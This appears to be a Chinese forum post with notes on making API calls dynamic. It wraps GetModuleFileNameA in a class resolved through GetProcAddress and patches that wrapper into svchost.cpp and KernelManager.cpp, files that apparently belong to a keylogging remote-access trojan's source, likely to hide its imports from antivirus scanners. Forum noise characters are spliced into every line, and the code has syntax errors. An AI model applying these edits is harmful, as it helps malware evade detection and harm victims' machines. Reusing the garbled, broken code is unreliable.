返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
2 X0 t. N* X" E! ]* t" i3 F- P* V/ Hsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h8 H2 f" C. Y( e2 Z
----------------------------------------/ q( g# r, }$ Y( G6 s0 F1 ]. B
DTDY.h:: \6 t8 K2 W% L( g) E" f

" o  V, i+ {# t3 E7 [#if _MSC_VER>10000 d; g& e6 P+ ^* d1 x/ d, J
#pragma once
1 `+ u7 Z) m6 o+ V  P4 ~; t#endif //_MSC_VER>1000" n" c, W0 x1 @) @
#include<windows.h>
7 f5 b) O4 j9 s% [
  q+ A* |. \, z' I: Ftypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
, f1 v) k$ t- L4 p3 ]8 qclass DTDY
4 R& b' W: K) q, \9 G$ s{4 a$ t' v- D5 S1 U- j
public:
" O: g$ z/ |* g' i. M3 yDTDY();
1 f" k9 ^! D( ?: x$ U6 s6 N, N  Fvirtual ~DTDY();# r$ V  e$ x) S, l2 P: n$ ^3 o- Q) z
public:
1 P+ [/ i/ N4 \5 y2 ostatic pGetModuleFileNameA MyGetModuleFileName;
" Y! ^7 C8 y  J0 R: _* Dstatic BOOL FunInitiallization();
3 u8 W  f8 a8 B+ q4 f};
6 d) w' \4 [, Q8 ~5 l9 w( W- f3 g#endif+ F- s% u- A- A8 q" B3 }. `
----------------------------------------( V7 z0 V. [+ {9 s7 V. v' Z5 ]

1 E% L5 n, ]2 sDTDY.cpp:
. s1 H5 L* g- f3 B% U% g9 N: M! M5 j: a% e" `# {
#include "DTDY.h"4 q' s0 g  G. J) Y
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;* U; H" j3 f$ n+ k
DTDY:TDY()
& w+ Q' F4 p% x{$ R8 N) B) x. z; ]- H2 l
}6 o' S" a" [# _# p: e7 f" B* B& a4 j
DTDY::~DTDY()6 A0 Y5 Z, `$ Y; f, W. W1 b
{
9 ^7 }* x8 |* |}
! P) c! {4 ~0 ~& B$ rBOOL DTDY::FunInitiallization()
3 P/ g( S- U1 }1 I5 ?{# n# l0 e* m; `( F' v% c1 s3 y
HMODULE hModule=LoadLibrary("kernel32.dll");8 L, z- d0 k  T5 C# M
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
8 @8 E$ A) Q( z+ V; R' n8 I6 Xif(!MyGetModuleFileName=) return FALSE;
- U; j9 K. {/ a- t9 G
( p5 ?+ ^: z7 v2 ?* R1 r* R/ |return TRUE;5 |# M, n  ?7 f
}3 i! s+ z1 L' Y) ^% K
----------------------------------------
+ [2 t$ H$ v* v9 F$ k8 c1 \svchost.cpp:
/ Y: W. Q  C% i) u5 u, c" x
% E5 B( H6 ?7 J" d! S! ?/ U#include "DTDY.h"' w8 A# t: a' H& K

9 r/ y4 k% \5 X: _" p. |BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
2 y7 S" T9 ~' I% `8 D7 i$ r{: k! `, c' }' G' V
switch(ul_reason_for_call)
1 D1 `3 t- Z4 p1 \{
  }, {, ~" {" i8 ^5 `% n. y7 h- Dcase DLL_PROCESS_ATTACH:6 V% D+ l* q2 a5 s* A* _( U9 c, g% N
if(!DTDY::FunInitiallization()) return FALSE;9 A2 H1 w6 f, V4 k6 T& _; a7 C! ?

# q4 M7 k$ _- q4 ^/ k& l) Kbreak;3 g; n5 I. B5 p! v$ Q9 w4 d
}% x) ^. X, g2 j5 E% a. h
}7 w7 j% M/ W% K8 Z/ e' J( L) h
0 n* ^3 w4 t# h6 D. ^5 s

3 d% N) i0 m# \( k( L7 D$ e" IGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def8 t0 g4 X' ~! z( q9 a0 G" S+ a$ k( K
改写为* a# X- ?: G! a" s7 j6 y6 a
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));3 t6 a7 c: h  |% F) D
----------------------------------------
+ |; f' ?! p$ {' V& [KernelManager.cpp:* g4 w3 [9 ~3 G. E2 z5 Z1 Y
/ v) L( {  a: e+ C6 N
#include "../DTDY.h"
7 w' d' w7 L: J# R# JGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));3 h" P1 K! A) Q8 J( q
改写为* I  M/ x# j; E% v4 A( K+ e
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));6 c9 ^4 m, o8 ~: L
----------------------------------------

返回列表